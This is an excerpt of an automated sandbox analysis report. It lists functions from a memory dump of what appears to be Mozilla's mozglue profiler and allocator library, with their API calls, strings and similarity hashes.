Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51767F
Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C517693
Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5176A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5185B2

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: f5514833d41c268d0586c29dbe98f8664ea2fd4a283aa33cff697593116be929
Instruction ID: 26680e453d8c64d81b35c69b426c39f1c8ef96ad4c004d80c5ff37e6f3bef7e5
Opcode Fuzzy Hash: f5514833d41c268d0586c29dbe98f8664ea2fd4a283aa33cff697593116be929
Instruction Fuzzy Hash: EC216D742056019BEB24DF29CC88A5A77B5EF8430CF164829E55B83F42EB31F948CB56

Function 6C4E1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4E1699
VerSetConditionMask.NTDLL ref: 6C4E16CB
VerSetConditionMask.NTDLL ref: 6C4E16D7
VerSetConditionMask.NTDLL ref: 6C4E16DE
VerSetConditionMask.NTDLL ref: 6C4E16E5
VerSetConditionMask.NTDLL ref: 6C4E16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4E16F9

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: f5e20ac4df8c5ef7320001e4d3130bf8f47c8954466bbd478c05012434b97522
Instruction ID: b102370272a60fdb7ddf50535139f1f58e7c24a438c8255c1155fc4aa3c94ab3
Opcode Fuzzy Hash: f5e20ac4df8c5ef7320001e4d3130bf8f47c8954466bbd478c05012434b97522
Instruction Fuzzy Hash: F621D5B07402086FEB11AB648C85FBB73BCEFC6704F414528F6459B181C678AD548AA1

Function 6C51F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C51F598), ref: 6C51F621

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F637
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F645
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C51F62A

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 46b7a2c30401f28b38c48fa7e36bc7bc4e069d207aae2f21446da2213382edd7
Instruction ID: 671ed7e3cd39fdc4488d6dc10d7ea607c067fb2f3cbdbd2bc388f8c84fdc9897
Opcode Fuzzy Hash: 46b7a2c30401f28b38c48fa7e36bc7bc4e069d207aae2f21446da2213382edd7
Instruction Fuzzy Hash: 0511E335305204EBDB04AF19DC4C9A5B7B9FFC636CB950116EA0583F42CB72AC21CBA4

Function 6C4E2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,6C4E1C5F), ref: 6C4E20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C4E20CD
__Init_thread_footer.LIBCMT ref: 6C4E20E1
FreeLibrary.KERNEL32 ref: 6C4E2124

Strings

combase.dll, xrefs: 6C4E20A9
CoInitializeSecurity, xrefs: 6C4E20C7

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 421150eafbb3d46f795fd131cfc39b97a47f87ee2e7a952e874b750bb7e81382
Instruction ID: 724b7dcfe417fddd0408b3a881c7a3e8ff2e37171c7e054a0abc05ff653d243c
Opcode Fuzzy Hash: 421150eafbb3d46f795fd131cfc39b97a47f87ee2e7a952e874b750bb7e81382
Instruction Fuzzy Hash: 3421BB3620020AEFDF20DF58EC4CD9A3B76FB4A326F524215FA0492691DB319861CFA4

Function 6C5376C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5376F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C537705

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C537717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C53778F,00000000,00000000,00000000,00000000), ref: 6C537731
free.MOZGLUE(00000000), ref: 6C537760

Strings

}>Ql, xrefs: 6C5376C4

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Ql
API String ID: 2538299546-1900031649
Opcode ID: 83f767da9bb20691958f0ebd8e91ae91aec32de17eb14697e31e230d531d6c7e
Instruction ID: 7cd4cb3be489ca738c33d0f4a790c6aced969121796f8d091fd407002e45737d
Opcode Fuzzy Hash: 83f767da9bb20691958f0ebd8e91ae91aec32de17eb14697e31e230d531d6c7e
Instruction Fuzzy Hash: A911B6B1D04325ABEB10AF759D44B6B7FE8EF45354F044529F84897300F771985487E2

Function 6C4E1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C4E1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C4E1FFD
__Init_thread_footer.LIBCMT ref: 6C4E2011
FreeLibrary.KERNEL32 ref: 6C4E2059

Strings

combase.dll, xrefs: 6C4E1FD9
CoCreateInstance, xrefs: 6C4E1FF7

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: b57cd3329e0fccb3480fa59ba7fc28de5f59386f8efde55c0aed59186981f012
Instruction ID: e6702fa9680ce75b793fe7058ce0083f8d3425a0553f290eec4ea28777307759
Opcode Fuzzy Hash: b57cd3329e0fccb3480fa59ba7fc28de5f59386f8efde55c0aed59186981f012
Instruction Fuzzy Hash: E6114C75701205AFDF20DF15CC4CE5A3B79EB8A35AF524229EA0592781DB319811CB65

Function 6C4E0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C50D9F0,00000000), ref: 6C4E0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C4E0F3C
__Init_thread_footer.LIBCMT ref: 6C4E0F50
FreeLibrary.KERNEL32(?,6C50D9F0,00000000), ref: 6C4E0F86

Strings

combase.dll, xrefs: 6C4E0F18
CoInitializeEx, xrefs: 6C4E0F36

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 97015c26e983c54b75a468d06697f12f283c3fe1e0f0c08c86324733d312cd67
Instruction ID: 5c17cb0f4842a5239aa8d0bed3f75784ee9aa877dd618baf9bf4494b4ac05709
Opcode Fuzzy Hash: 97015c26e983c54b75a468d06697f12f283c3fe1e0f0c08c86324733d312cd67
Instruction Fuzzy Hash: B811A0757052409BDF00DF98CD08F5E3774EB8A327F86432AE91592746DBB0A815CA5D

Function 6C51F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F561

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F585
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C51F3A8
[I %d/%d] profiler_resume, xrefs: 6C51F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C51F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C51F56A

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ce1c635c472caa5eeaec2b657b2d8c7a59b73900633756042f45c123e447c976
Instruction ID: 17b7f23cbf35ed8d8333b605af5625767493b9381f77f5390d638f361b5bd773
Opcode Fuzzy Hash: ce1c635c472caa5eeaec2b657b2d8c7a59b73900633756042f45c123e447c976
Instruction Fuzzy Hash: 9CF05475704204DBEA007F659C4CA6A77BDFBC629DF860115EA05D3B02DB764C058769

Function 6C4E0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C4E0DF8), ref: 6C4E0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C4E0EA1
__Init_thread_footer.LIBCMT ref: 6C4E0EB5
FreeLibrary.KERNEL32 ref: 6C4E0EC5

Strings

kernel32.dll, xrefs: 6C4E0E7D
GetProcessMitigationPolicy, xrefs: 6C4E0E9B

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: a0ad6d3b9844719f7bbf87b1abb074a63faa319c2cb650cf16196d4b91ba471f
Instruction ID: def99ec3fc9d00ef9490e1014e8f45dcf7e4c15eb715e0351a7535f1876f63b1
Opcode Fuzzy Hash: a0ad6d3b9844719f7bbf87b1abb074a63faa319c2cb650cf16196d4b91ba471f
Instruction Fuzzy Hash: D8014670B10281CFDF10DFECDC18E6237B5F74A31AF930626D91192B40DB74A814DA99

Function 6C51F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C51F598), ref: 6C51F621

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F637
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F645
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C51F62A

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 303e5d64091728ecd6e557b62c226b567898ceb68535f65d57e1261807553de2
Instruction ID: 4fdd023a7c535947fa8f0704f97fb4e28435d990396d102b77be27f56afaab36
Opcode Fuzzy Hash: 303e5d64091728ecd6e557b62c226b567898ceb68535f65d57e1261807553de2
Instruction Fuzzy Hash: A5F05E75304204EBEA007B659C4CA6A7BBDFBC62ADF860116EA0993B41DB764C058769

Function 6C5105F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C50CFAE,?,?,?,6C4D31A7), ref: 6C5105FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C50CFAE,?,?,?,6C4D31A7), ref: 6C510616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C4D31A7), ref: 6C51061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C4D31A7), ref: 6C510627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C51061B, 6C510625
<jemalloc>, xrefs: 6C5105FA, 6C51060F

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 589d2f077d9a39e37092fdcbd814ac937316b317f92efb32cbd7fb3f563bfba8
Instruction ID: e13ed05e0959d9c1f2a691f66eaca58f59ca917d16927e3779ebc1580edd3c4c
Opcode Fuzzy Hash: 589d2f077d9a39e37092fdcbd814ac937316b317f92efb32cbd7fb3f563bfba8
Instruction Fuzzy Hash: 59E08CF2A0101037F514225AAC8ADBB761DDBC6238F080039FD0D82301EA4BBD1E51F6

Function 6C4E05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea1b815878b1d6f4f0fa2d1c0f3f8dc3dbe4a0c30c1a8a826fddfa890be2456
Instruction ID: 3029ad988cb6f74fa14e2f475022cdb69106582de1aada9ba2cbaa68e931ccb0
Opcode Fuzzy Hash: 8ea1b815878b1d6f4f0fa2d1c0f3f8dc3dbe4a0c30c1a8a826fddfa890be2456
Instruction Fuzzy Hash: 7FA148B0A00605CFDB14CF29C984E9AFBF1BF89305F45866ED45A97B00EB30A945CF90

Function 6C5314A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5314C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5314E2
GetCurrentThreadId.KERNEL32 ref: 6C531546
InitializeConditionVariable.KERNEL32(?), ref: 6C5315BA
free.MOZGLUE(?), ref: 6C5316B4

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 39a4ed6f8a56fb797dfa1ee5a370e1161951e02007e2a51375fe7f15670cd885
Instruction ID: 46c7631fee0261bc19cc084fc37e4cc20f6840f106e69e9aab641973170204b9
Opcode Fuzzy Hash: 39a4ed6f8a56fb797dfa1ee5a370e1161951e02007e2a51375fe7f15670cd885
Instruction Fuzzy Hash: 3C61DD72A00710DBDB119F24CC80BDBB7B0BF89308F45951CE98A57611EB34E949CB91

Function 6C529F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C529FDB
free.MOZGLUE(?,?), ref: 6C529FF0
free.MOZGLUE(?,?), ref: 6C52A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C52A0BE
free.MOZGLUE(?,?), ref: 6C52A0D5
free.MOZGLUE(?,?), ref: 6C52A0EB

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7c16a851388f781cad7bfd058123edf36e8b29a82aa2fcdf091acd72b8ebd85e
Instruction ID: 293edd352da6dcb6ba2a3d1f966d905af0f125f71f5164cac49946a5c317af7b
Opcode Fuzzy Hash: 7c16a851388f781cad7bfd058123edf36e8b29a82aa2fcdf091acd72b8ebd85e
Instruction Fuzzy Hash: 4E618E755086419FC711CF18C88099AB7F5FFC8328F54865DE8A99B742EB31E986CBC1

